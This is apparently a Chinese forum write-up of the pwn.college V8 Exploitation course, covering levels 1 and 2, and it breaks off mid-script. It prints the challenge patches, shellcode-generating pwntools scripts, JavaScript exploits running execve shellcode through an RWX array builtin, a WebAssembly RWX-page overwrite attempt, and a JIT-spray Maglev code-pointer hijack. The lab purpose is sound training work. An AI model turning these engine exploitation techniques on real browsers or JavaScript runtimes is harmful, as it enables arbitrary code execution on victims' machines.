首页
社区
课程
招聘
[原创] Pwncollege V8 Exploitation 完结
发表于: 2025-6-6 10:58 154

[原创] Pwncollege V8 Exploitation 完结

2025-6-6 10:58
154

目录

目录

前言

笔者以巩固基础为目的,完成了 pwncollege 的 V8 Exploitation 课程。整体而言,题目质量不错,但偏向于入门,因此特地整理了一篇通关笔记。若文中有疏漏或错误之处,欢迎各位师傅批评指正!

提前开一波香槟,完结

level-1

环境搭建

漏洞分析里有完整的patch内容

1
2
3
4
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release

修改编译参数

1
2
3
4
5
6
7
8
9
10
11
12
➜  release git:(5a2307d0f2c) ✗ cat args.gn  
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false 
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

接着编译

1
autoninja -C out/release d8

漏洞分析

为array类型创建了一个run方法

首先,该函数会检查传入的对象是否为JSArray,并且要求数组的元素类型必须是简单类型(即没有 holes、不是对象等)。接下来,会判断数组的elements kind 是否为PACKED_DOUBLE_ELEMENTS,也就是要求数组中的所有元素都是double类型(即 JavaScript 的 Number类型,且不是int32、BigInt 或对象等)。随后,函数会检查数组的长度,确保其不会超过4096 字节(也就是最多512 个double元素),以防止溢出。

通过这些检查后,函数会调用mmap申请一段4096 字节、具有读写执行(RWX)权限的内存区域。实际上,在这一步就可以将 shellcode写入到该内存区域。随后,函数会将JSArray中的所有 double元素逐个拷贝到新申请的RWX 段中。最后,函数将这段内存作为函数指针直接执行,也就是运行了你拷贝进去的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
+BUILTIN(ArrayRun) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
+  }
+
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (sizeof(double) * (uint64_t)length > 4096) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("array too long")));
+  }
+
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+  if (mem == (double *)-1) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("mmap failed")));
+  }
+
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+    double x = elements->get_scalar(i);
+    mem[i] = x;
+  });
+
+  ((void (*)())mem)();
+  return 0;
+}

鉴定为v8里的ret2shellcode????????????

完整的patch文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..c840e568152 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -24,6 +24,8 @@
 #include "src/objects/prototype.h"
 #include "src/objects/smi.h"
  
+extern "C" void *mmap(void *, unsigned long, int, int, int, int);
+
 namespace v8 {
 namespace internal {
  
@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
  
+BUILTIN(ArrayRun) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need array of double numbers")));
+  }
+
+  uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));
+  if (sizeof(double) * (uint64_t)length > 4096) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("array too long")));
+  }
+
+  // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);
+  if (mem == (double *)-1) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("mmap failed")));
+  }
+
+  Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
+  FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {
+    double x = elements->get_scalar(i);
+    mem[i] = x;
+  });
+
+  ((void (*)())mem)();
+  return 0;
+}
+
 namespace {
  
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..4f3d885cca7 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -421,6 +421,7 @@ namespace internal {
   TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel)                          \
   /* ES6 #sec-array.prototype.push */                                          \
   CPP(ArrayPush)                                                               \
+  CPP(ArrayRun)                                                                \
   TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel)                         \
   /* ES6 #sec-array.prototype.shift */                                         \
   CPP(ArrayShift)                                                              \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..58fd42e59a4 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+  case Builtin::kArrayRun:
+    return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..40a762c24c8 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
  
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
+    SimpleInstallFunction(isolate_, proto, "run",
+                          Builtin::kArrayRun, 0, false);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",

漏洞利用

申请了一段rwx段,然后将用户创建的JSArray内容直接执行,那么提前在JSArray里提前布置shellcode就行

第一种方法,生成shellcode的脚本,这里是生产的是BigInt类型,所以还需要调用ToDoubleArray转化为浮点数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
context.arch = 'amd64'
context.os = 'linux'
 
shellcode = shellcraft.execve("/challenge/catflag", 0, 0)
output = asm(shellcode)
print(f"Shellcode 长度: {len(output)} 字节")
 
if len(output) % 8 != 0:
    padding = 8 - (len(output) % 8)
    output += b'\x00' * padding
    print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")
 
bigint_array = []
for i in range(0, len(output), 8):
    chunk = output[i:i+8]
    value = int.from_bytes(chunk, 'little')
    bigint_array.append(f"{value}n")
 
js_array = "var shellcode = [\n    " + ",\n    ".join(bigint_array) + "\n];"
 
print("\nJavaScript BigInt 数组格式:")
print(js_array)

然后将输出的结果放到js脚本里,如下布置的shellcode

1
2
3
4
5
6
7
8
var shellcode = [
    2608851925472796776n,
    7307011539825918209n,
    5210783956162667311n,
    7308335460934430648n,
    3589986723478130798n,
    5563462937334n
];

这里将类型转化,shellcode array转化为double array

1
2
3
4
5
6
7
8
9
10
11
function ToDoubleArray(raw) {
    let buf = new ArrayBuffer(raw.length * 8);
    let dataview = new DataView(buf);
 
    for (let i = 0; i < raw.length; ++i){
        dataview.setBigUint64(i * 8, raw[i], true);
    }
 
    const res = new Float64Array(buf);
    return Array.from(res);
}

第二种方法就是写浮点数的shellcode,这里是py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
 
context.arch = 'amd64'
context.os = 'linux'
 
shellcode = shellcraft.execve("/challenge/catflag", 0, 0)
output = asm(shellcode)
print(f"Shellcode 长度: {len(output)} 字节")
 
if len(output) % 8 != 0:
    padding = 8 - (len(output) % 8)
    output += b'\x00' * padding
    print(f"已填充 {padding} 字节,总长度: {len(output)} 字节")
 
import struct
 
double_array = []
for i in range(0, len(output), 8):
    chunk = output[i:i+8]
    value = struct.unpack('<Q', chunk)[0]
    double_val = struct.unpack('<d', chunk)[0]
    double_array.append(repr(double_val))
 
js_array = "var shellcode = [\n    " + ",\n    ".join(double_array) + "\n];"
 
print("\nJavaScript double 数组格式:")
print(js_array)

输出如下,赋值到脚本里即可

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  release git:(5a2307d0f2c) ✗ python3 shellcode.py 
Shellcode 长度: 46 字节
已填充 2 字节,总长度: 48 字节
 
JavaScript double 数组格式:
var shellcode = [
    2.820972645905851e-134,
    3.0758087950517603e+180,
    2.2354425876138794e+40,
    3.68572438550025e+180,
    1.054512194375715e-68,
    2.748715909248e-311
];

exp

这里直接写一个浮点数的shellcode就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// function ToDoubleArray(raw) {
//     let buf = new ArrayBuffer(raw.length * 8);
//     let dataview = new DataView(buf);
 
//     for (let i = 0; i < raw.length; ++i){
//         dataview.setBigUint64(i * 8, raw[i], true);
//     }
 
//     const res = new Float64Array(buf);
//     return Array.from(res);
// }
 
// var shellcode = [
//     2608851925472796776n,
//     7307011539825918209n,
//     5210783956162667311n,
//     7308335460934430648n,
//     3589986723478130798n,
//     5563462937334n
// ];
 
// shellcode = ToDoubleArray(shellcode);
// shellcode.run();
 
 
var shellcode = [
    2.820972645905851e-134,
    3.0758087950517603e+180,
    2.2354425876138794e+40,
    3.68572438550025e+180,
    1.054512194375715e-68,
    2.748715909248e-311
];
shellcode = shellcode;
shellcode.run();

level-2

环境搭建

漏洞分析里有完整的patch内容

1
2
3
4
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release

修改编译参数

1
2
3
4
5
6
7
8
9
10
11
12
➜  release git:(5a2307d0f2c) ✗ cat args.gn                                    
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

编译

1
autoninja -C out/release d8

漏洞分析

这里patch了三个函数,从名字看其实就是三个v8利用里常见的原语,获取对象的地址、沙箱内地址任意读写

可以看下怎么实现的,获取当前的isolate之后,先判断参数个数,接着判断参数的类型是不是对象(tag),然后直接获取address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}

获取isolate,参数长度为1,也就是读这个参数地址的内容,判断参数类型是否为Number,下面获取cage_base,其实也就是gc申请内存的基地址,然后类型转化一下。接着获取full_addr(r14+addr),然后通过指针解引,返回一个uint32_t的结果。

这里之所以需要先获取 cage base 并进行地址转换,是因为 V8 启用了指针压缩(Pointer Compression)机制。该机制下,堆对象的地址并不是完整的 64 位地址,而是相对于 cage base 的 32 位偏移量。不了解的读者可以自行搜索相关资料,原理并不复杂。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsNumber(*arg)) {
+    isolate->ThrowError("Argument should be a number");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  uint32_t result = *(uint32_t *)full_addr;
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
+}

获取isolate,限定参数长度为2,分别获取两个参数,同时判断类型是否为Number。下面的流程和ArbRead32类似,就是最后这里不是指针解引,而是*(uint32_t *)full_addr = value; ,这里学过c的都能看得懂吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 2) {
+    isolate->ThrowError("Need exactly 2 arguments");
+    return;
+  }
+  internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
+  internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
+  if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
+    isolate->ThrowError("Arguments should be numbers");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
+  uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  *(uint32_t *)full_addr = value;
+}

完整的patch文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..6b31fe2c371 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1283,6 +1283,64 @@ struct ModuleResolutionData {
  
 }  // namespace
  
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  v8::Isolate* isolate = info.GetIsolate();
+
+  if (info.Length() == 0) {
+    isolate->ThrowError("First argument must be provided");
+    return;
+  }
+
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsHeapObject(*arg)) {
+    isolate->ThrowError("First argument must be a HeapObject");
+    return;
+  }
+  internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);
+
+  uint32_t address = static_cast<uint32_t>(obj->address());
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));
+}
+
+void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 1) {
+    isolate->ThrowError("Need exactly one argument");
+    return;
+  }
+  internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);
+  if (!IsNumber(*arg)) {
+    isolate->ThrowError("Argument should be a number");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  uint32_t result = *(uint32_t *)full_addr;
+  info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));
+}
+
+void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {
+  Isolate *isolate = info.GetIsolate();
+  if (info.Length() != 2) {
+    isolate->ThrowError("Need exactly 2 arguments");
+    return;
+  }
+  internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);
+  internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);
+  if (!IsNumber(*arg1) || !IsNumber(*arg2)) {
+    isolate->ThrowError("Arguments should be numbers");
+    return;
+  }
+  internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();
+  internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);
+  uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));
+  uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));
+  uint64_t full_addr = base_addr + (uint64_t)addr;
+  *(uint32_t *)full_addr = value;
+}
+
 void Shell::ModuleResolutionSuccessCallback(
     const FunctionCallbackInfo<Value>& info) {
   DCHECK(i::ValidateCallbackInfo(info));
@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+  global_template->Set(isolate, "GetAddressOf",
+                       FunctionTemplate::New(isolate, GetAddressOf));
+  global_template->Set(isolate, "ArbRead32",
+                       FunctionTemplate::New(isolate, ArbRead32));
+  global_template->Set(isolate, "ArbWrite32",
+                       FunctionTemplate::New(isolate, ArbWrite32));
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3449,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3474,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/d8/d8.h b/src/d8/d8.h
index a19d4a0eae4..476675a7150 100644
--- a/src/d8/d8.h
+++ b/src/d8/d8.h
@@ -507,6 +507,9 @@ class Shell : public i::AllStatic {
   };
   enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
  
+  static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);
+  static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args);
   static bool ExecuteString(Isolate* isolate, Local<String> source,
                             Local<String> name,
                             ReportExceptions report_exceptions,

漏洞利用

其实这里patch了三个可以直接利用的漏洞原语,思路就很明确了。对于12.8版本,这里可以采用JIT Spray的方法,写立即数的shellcode,然后修改function的code_addr,实现错位字节的shellcode,也就是利用Maglev存在的漏洞实现控制流劫持(这里的环境不存在沙箱,所以并没有实现沙箱逃逸)如果开启了沙箱,其实这个方法还是可以实现沙箱逃逸的,但是会多一点绕过条件

劫持jump table 失败(后续查看下原因

mark一下一开始的思路,想通过覆写

d8 12.8版本,劫持jump table 失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
 
function stop(){
    %SystemBreak();
}
 
function p(arg){
    %DebugPrint(arg);
}
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
function copy_shellcode_to_rwxpage(){
    let buf = new ArrayBuffer(0x20);
    let view = new DataView(buf);
    let backing_store_addr = GetAddressOf(view)-0x14;
    p(view);
    logg("backing_store_addr",backing_store_addr);
    let backing_store_lo = ArbRead32(backing_store_addr);
    let backing_store_hi = ArbRead32(backing_store_addr+0x4);
    var backing_store = BigInt(backing_store_hi) * 4294967296n + BigInt(backing_store_lo)
    logg("backing_store",backing_store);
 
    ArbWrite32(backing_store_addr,rwx_page_addr_lo);
    ArbWrite32(backing_store_addr+4,rwx_page_addr_hi);
      
    // 出现check
    for (let i = 0; i < shellcode.length; ++i){
        view.setBigUint64(i * 0x8, shellcode[i], true);
    }
}
 
var shellcode = [
    0x2fbb485299583b6an,
    0x5368732f6e69622fn,
    0x050f5e5457525f54n
];
 
for(let i = 0; i< 10000; i++) shellcode();
 
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var instance = new WebAssembly.Instance(wasmModule, {});
var pwn = instance.exports.main;
 
var instance_addr = GetAddressOf(instance);
var trusted_data = ArbRead32(instance_addr+0xc);
var rwx_page_addr_lo = ArbRead32(trusted_data+0x30-1);
var rwx_page_addr_hi = ArbRead32(trusted_data+0x30-1+4);
var rwx_page_addr = BigInt(rwx_page_addr_hi) * 4294967296n + BigInt(rwx_page_addr_lo)
console.log(typeof rwx_page_addr_lo);
p(wasmCode)
p(instance)
 
logg("instance_addr",instance_addr);
logg("trusted_data",trusted_data);
logg("rwx_page_addr_lo",rwx_page_addr_lo);
logg("rwx_page_addr_hi",rwx_page_addr_hi);
logg("rwx_page_addr",rwx_page_addr);
 
copy_shellcode_to_rwxpage();
 
spin();

JIT Spray

方法的利用步骤

首先看下这一段代码的输出,这里需要关注code字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const shellcode = () => {return [
    1.9553825422107533e-246,
    1.9560612558242147e-246,
    1.9995714719542577e-246,
    1.9533767332674093e-246,
    2.6348604765229606e-284
];}
 
for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
p(shellcode);
 
var shellcode_addr = GetAddressOf(shellcode);

job code,看一下输出,这个对象记录了instruction_start的起始地址,下面的一串instruction就是这一个函数经过Maglev优化后的代码

下面这一段其实就是我们写的shellcode的位置,浮点数是八字节的表示形式,去掉前面两个字节的操作,剩下的六个字节就是我们可控的内容,然后为了能写成rop的形式,所以6个字节里要已jmp结尾,用来跳到下一个gadget片段,所以我们每一个gadget可以写四字节的内容+一个jmp

这里可以看一下写成的效果

那么接着就是可以通过修改instruction_start 为我们控制的gadget片段的起始地址,修改为起始地址+0x6b(这里的偏移是根据不同环境来确定的)

看一下一开始的code: 0x1244002402a9 <Code MAGLEV>

修改之后

然后在最后的syscall下一个断点,gdb里c过去,可以看到最后执行的效果,就是执行了execve("catflag",0,0); ,这样就可以拿到flag了

shellcode生成

这里我首先使用了py脚本生产一段shelcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(arch='amd64')
jmp = b'\xeb\x0c'
shell_hi = 0x0067616c
shell_lo = 0x66746163
def make_double(code):
    assert len(code) <= 6
    print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])
 
make_double(asm("mov eax,%d" % (0x0067616c)))
make_double(asm("mov ebx,%d" % (0x66746163)))
make_double(asm("shl rax, 0x20"))
make_double(asm("add rax,rbx;push rax"))
make_double(asm("mov rdi, rsp;xor esi, esi;"))
code = asm("xor edx, edx;push 0x3b; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

这里对于catflag这个字符串的处理,我将这个转化为hex的形式,然后分成高位和低位4字节,分别赋值给eax和ebx,然后eax << 32位存储到rax里,接着再讲低4字节赋值给rax,这样字符串就处理好了,然后push到栈上,接着讲rsp赋值给rdi,那么execve的第一个参数就处理好了,后面的rsi和rdx已经系统调用,对于看到这篇文章的读者,应该不会成为一个问题

看下这里执行完毕的效果

1
2
3
4
5
6
7
➜  release git:(5a2307d0f2c) ✗ python3 rop.py
ceb900067616cb8
ceb9066746163bb
ceb909020e0c148
ceb909050d80148
ceb90f631e78948
90050f583b6ad231

将输出赋值到convert.js脚本里,convert.js脚本的内容,需要转化为BigInt类型,然后前面加上0x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function convertShellcode() {
    const shellcodeInts = [
